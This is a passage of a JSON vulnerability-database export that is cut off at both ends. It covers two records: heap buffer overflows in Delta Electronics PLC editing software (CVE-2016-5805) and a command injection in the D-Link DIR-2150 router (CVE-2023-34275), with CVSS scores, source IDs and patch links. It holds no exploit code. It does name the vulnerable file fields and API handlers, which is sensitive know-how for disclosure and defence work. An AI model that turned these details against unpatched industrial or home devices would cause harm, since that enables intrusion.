"cpe:2.3:o:delta_electronics:pmsoft:-:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:o:delta_electronics:ispsoft:-:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:o:delta_electronics:wplsoft:-:*:*:*:*:*:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-16-661" }, { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-653" }, { "db": "ZDI", "id": "ZDI-16-659" }, { "db": "ZDI", "id": "ZDI-16-649" }, { "db": "ZDI", "id": "ZDI-16-651" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-650" }, { "db": "ZDI", "id": "ZDI-16-654" }, { "db": "ZDI", "id": "ZDI-16-658" }, { "db": "ZDI", "id": "ZDI-16-662" }, { "db": "ZDI", "id": "ZDI-16-657" } ], "data": "axt", "trust": 8.4, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-16-661" }, { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-653" }, { "db": "ZDI", "id": "ZDI-16-659" }, { "db": "ZDI", "id": "ZDI-16-649" }, { "db": "ZDI", "id": "ZDI-16-651" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-650" }, { "db": "ZDI", "id": "ZDI-16-654" }, { "db": "ZDI", "id": "ZDI-16-658" }, { "db": "ZDI", "id": "ZDI-16-662" }, { "db": "ZDI", "id": "ZDI-16-657" }, { "db": "CNVD", "id": "CNVD-2016-12683" }, { "db": "VULHUB", "id": "VHN-94624" }, { "db": "CNNVD", "id": "CNNVD-201612-509" }, { "db": "NVD", "id": "CVE-2016-5805" } ], "data": [ { "severity": [ { "id": "CVE-2016-5805", "value": "MEDIUM", "author": "ZDI", "trust": 7.7 }, { "value": "HIGH", "author": "NVD", "id": "CVE-2016-5805", "trust": 1.0 }, { "id": "CVE-2016-5805", "value": "HIGH", "author": "ZDI", "trust": 0.7 }, { "value": "HIGH", "author": "CNVD", "id": "CNVD-2016-12683", "trust": 0.6 }, { "id": "CNNVD-201612-509", "value": "MEDIUM", "author": "CNNVD", "trust": 0.6 }, { "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "id": "e300285f-39ab-11e9-9115-000c29342cb1", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "value": "MEDIUM", "author": "VULHUB", "id": "VHN-94624", "trust": 0.1 } ], "cvssV2": [ { "id": "CVE-2016-5805", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 6.4, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 7.0 }, { "exploitabilityScore": 8.6, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true, "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "author": "NVD", "severity": "MEDIUM", "trust": 1.0 }, { "id": "CVE-2016-5805", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.7 }, { "id": "CVE-2016-5805", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 5.1, "severity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.7 }, { "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "id": "CNVD-2016-12683", "author": "CNVD", "trust": 0.6 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0", "author": "IVD", "trust": 0.2 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "id": "e300285f-39ab-11e9-9115-000c29342cb1", "author": "IVD", "trust": 0.2 }, { "version": "2.0", "vectorString": "AV:N/AC:M/AU:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 6.4, "id": "VHN-94624", "author": "VULHUB", "trust": 0.1 } ], "cvssV3": [ { "exploitabilityScore": 1.8, "impactScore": 5.9, "version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "author": "NVD", "trust": 1.0 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2016-5805" }, { "db": "ZDI", "id": "ZDI-16-651" }, { "db": "ZDI", "id": "ZDI-16-657" }, { "db": "ZDI", "id": "ZDI-16-662" }, { "db": "ZDI", "id": "ZDI-16-658" }, { "db": "ZDI", "id": "ZDI-16-654" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-650" }, { "db": "ZDI", "id": "ZDI-16-649" }, { "db": "ZDI", "id": "ZDI-16-659" }, { "db": "ZDI", "id": "ZDI-16-653" }, { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-661" }, { "db": "CNVD", "id": "CNVD-2016-12683" }, { "db": "BID", "id": "94887" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1" }, { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0" }, { "db": "VULHUB", "id": "VHN-94624" } ], "data": "An issue was discovered in Delta Electronics WPLSoft, Versions prior to V2.42.11, ISPSoft, Versions prior to 3.02.11, and PMSoft, Versions prior to2.10.10. There are multiple instances of heap-based buffer overflows that may allow malicious files to cause the execution of arbitrary code or a denial of service. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation WPLSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of data from a LAD file. A crafted length element can trigger an overflow of a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Delta Electronics WPLSoft and others are software control platforms used by Delta Electronics to edit the Delta DVP series of programmable logic controllers (PLCs). A heap buffer overflow vulnerability exists in several Delta Electronics products", "trust": 9.72, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-16-661" }, { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-653" }, { "db": "ZDI", "id": "ZDI-16-659" }, { "db": "ZDI", "id": "ZDI-16-649" }, { "db": "ZDI", "id": "ZDI-16-651" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-650" }, { "db": "ZDI", "id": "ZDI-16-654" }, { "db": "ZDI", "id": "ZDI-16-658" }, { "db": "ZDI", "id": "ZDI-16-662" }, { "db": "ZDI", "id": "ZDI-16-657" }, { "db": "CNVD", "id": "CNVD-2016-12683" }, { "db": "VULHUB", "id": "VHN-94624" }, { "db": "BID", "id": "94887" }, { "db": "CNNVD", "id": "CNNVD-201612-509" }, { "db": "NVD", "id": "CVE-2016-5805" } ], "data": [ { "db": "NVD", "id": "CVE-2016-5805", "trust": 11.4 }, { "db": "BID", "id": "94887", "trust": 2.6 }, { "db": "ICS CERT", "id": "ICSA-16-348-03", "trust": 2.6 }, { "db": "CNNVD", "id": "CNNVD-201612-509", "trust": 1.1 }, { "db": "CNVD", "id": "CNVD-2016-12683", "trust": 1.0 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3915", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-661", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3865", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-648", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3930", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-653", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3916", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-659", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3859", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-649", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3909", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-651", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3911", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-656", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3860", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-650", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3931", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-654", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3913", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-658", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-4016", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-662", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-3912", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-16-657", "trust": 0.7 }, { "db": "IVD", "id": "C1B2C178-9E7C-41AD-B334-53F292B6A7F0", "trust": 0.2 }, { "db": "IVD", "id": "E300285F-39AB-11E9-9115-000C29342CB1", "trust": 0.2 }, { "db": "VULHUB", "id": "VHN-94624", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1" }, { "db": "CNVD", "id": "CNVD-2016-12683" }, { "db": "VULHUB", "id": "VHN-94624" } ], "data": true, "trust": 1.7291666650000002, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1" }, { "db": "CNVD", "id": "CNVD-2016-12683" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 1.0 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-16-661" }, { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-653" }, { "db": "ZDI", "id": "ZDI-16-659" }, { "db": "ZDI", "id": "ZDI-16-649" }, { "db": "ZDI", "id": "ZDI-16-651" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-650" }, { "db": "ZDI", "id": "ZDI-16-654" }, { "db": "ZDI", "id": "ZDI-16-658" }, { "db": "ZDI", "id": "ZDI-16-662" }, { "db": "ZDI", "id": "ZDI-16-657" }, { "db": "CNVD", "id": "CNVD-2016-12683" }, { "db": "CNNVD", "id": "CNNVD-201612-509" } ], "data": [ { "title": "Delta Industrial Automation has issued an update to correct this vulnerability.", "url": "https://ics-cert.us-cert.gov/advisories/icsa-16-348-03", "trust": 8.4 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/86302", "title": "Patches for Multiple Delta Electronics Product Heap Buffer Overflow Vulnerabilities", "trust": 0.6 }, { "title": "Multiple Delta Electronics Product security vulnerabilities", "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=66543", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-16-661" }, { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-653" }, { "db": "ZDI", "id": "ZDI-16-659" }, { "db": "ZDI", "id": "ZDI-16-649" }, { "db": "ZDI", "id": "ZDI-16-651" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-650" }, { "db": "ZDI", "id": "ZDI-16-654" }, { "db": "ZDI", "id": "ZDI-16-658" }, { "db": "ZDI", "id": "ZDI-16-662" }, { "db": "ZDI", "id": "ZDI-16-657" }, { "db": "CNVD", "id": "CNVD-2016-12683" }, { "db": "VULHUB", "id": "VHN-94624" }, { "db": "BID", "id": "94887" }, { "db": "CNNVD", "id": "CNNVD-201612-509" }, { "db": "NVD", "id": "CVE-2016-5805" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "VULHUB", "id": "VHN-94624" }, { "db": "NVD", "id": "CVE-2016-5805" } ], "data": [ { "trust": 1.1, "problemtype": "CWE-119" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-16-661" }, { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-653" }, { "db": "ZDI", "id": "ZDI-16-659" }, { "db": "ZDI", "id": "ZDI-16-649" }, { "db": "ZDI", "id": "ZDI-16-651" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-650" }, { "db": "ZDI", "id": "ZDI-16-654" }, { "db": "ZDI", "id": "ZDI-16-658" }, { "db": "ZDI", "id": "ZDI-16-662" }, { "db": "ZDI", "id": "ZDI-16-657" }, { "db": "CNVD", "id": "CNVD-2016-12683" }, { "db": "VULHUB", "id": "VHN-94624" }, { "db": "BID", "id": "94887" }, { "db": "CNNVD", "id": "CNNVD-201612-509" }, { "db": "NVD", "id": "CVE-2016-5805" } ], "data": [ { "url": "https://ics-cert.us-cert.gov/advisories/icsa-16-348-03", "trust": 10.4 }, { "url": "http://www.securityfocus.com/bid/94887", "trust": 1.7 }, { "url": "https://ics-cert.us-cert.gov/advisories/icsa-16-348-03#footnotea_6tkr584", "trust": 0.6 }, { "url": "http://www.deltaww.com/", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-16-661", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-648", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-653", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-659", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-649", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-651", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-656", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-650", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-654", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-658", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-662", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-657", "date": "2016-12-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2016-12683", "date": "2018-11-05T00:00:00" }, { "db": "VULHUB", "id": "VHN-94624", "date": "2017-03-14T00:00:00" }, { "db": "BID", "id": "94887", "date": "2016-12-20T01:09:00" }, { "db": "CNNVD", "id": "CNNVD-201612-509", "date": "2016-12-15T00:00:00" }, { "db": "NVD", "id": "CVE-2016-5805", "date": "2017-03-14T19:01:27.053000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0", "date": "2016-12-21T00:00:00" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1", "date": "2016-12-21T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-661", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-648", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-653", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-659", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-649", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-651", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-656", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-650", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-654", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-658", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-662", "date": "2016-12-15T00:00:00" }, { "db": "ZDI", "id": "ZDI-16-657", "date": "2016-12-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2016-12683", "date": "2016-12-21T00:00:00" }, { "db": "VULHUB", "id": "VHN-94624", "date": "2017-02-13T00:00:00" }, { "db": "BID", "id": "94887", "date": "2016-12-14T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201612-509", "date": "2016-12-15T00:00:00" }, { "db": "NVD", "id": "CVE-2016-5805", "date": "2017-02-13T21:59:00.393000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201612-509" } ], "data": "remote", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-657" } ], "data": "Delta Industrial Automation WPLSoft DVP File Parsing Heap-Based Buffer Overflow Remote Code Execution Vulnerability", "trust": 2.1, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1" }, { "db": "CNNVD", "id": "CNNVD-201612-509" } ], "data": "Buffer overflow", "trust": 1.0, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2016-5805", "last_update_date": "2024-07-23T22:40:53.160000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201702-0423", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202305-1588](https://vulnerability.circl.lu/vuln/var-202305-1588) ```json { "id": "VAR-202305-1588", "affected_products": { "sources": [ { "db": "ZDI", "id": "ZDI-23-631" }, { "db": "CNVD", "id": "CNVD-2024-33401" } ], "data": [ { "vendor": "d link", "model": "dir-2150", "version": null, "scope": null, "trust": 1.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-23-631" } ], "data": "Anonymous", "trust": 0.7, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "ZDI", "id": "ZDI-23-631" }, { "db": "CNVD", "id": "CNVD-2024-33401" }, { "db": "NVD", "id": "CVE-2023-34275" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "zdi-disclosures@trendmicro.com", "id": "CVE-2023-34275", "trust": 1.0 }, { "id": "CVE-2023-34275", "value": "MEDIUM", "author": "ZDI", "trust": 0.7 }, { "value": "HIGH", "author": "CNVD", "id": "CNVD-2024-33401", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:A/AC:L/Au:M/C:C/I:C/A:C", "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "severity": "HIGH", "exploitabilityScore": 4.1, "impactScore": 10.0, "id": "CNVD-2024-33401", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [ { "exploitabilityScore": 0.9, "impactScore": 5.9, "version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 6.8, "baseSeverity": "MEDIUM", "author": "zdi-disclosures@trendmicro.com", "trust": 1.0 }, { "id": "CVE-2023-34275", "author": "ZDI", "version": "3.0", "vectorString": "AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "ADJACENT", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 6.8, "baseSeverity": "MEDIUM", "exploitabilityScore": 0.9, "impactScore": 5.9, "trust": 0.7 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2023-34275" }, { "db": "ZDI", "id": "ZDI-23-631" }, { "db": "CNVD", "id": "CNVD-2024-33401" }, { "db": "VULMON", "id": "CVE-2023-34275" } ], "data": "D-Link DIR-2150 SetNTPServerSettings Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. \n\nThe specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20553. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company", "trust": 2.16, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "ZDI", "id": "ZDI-23-631" }, { "db": "CNVD", "id": "CNVD-2024-33401" }, { "db": "VULMON", "id": "CVE-2023-34275" }, { 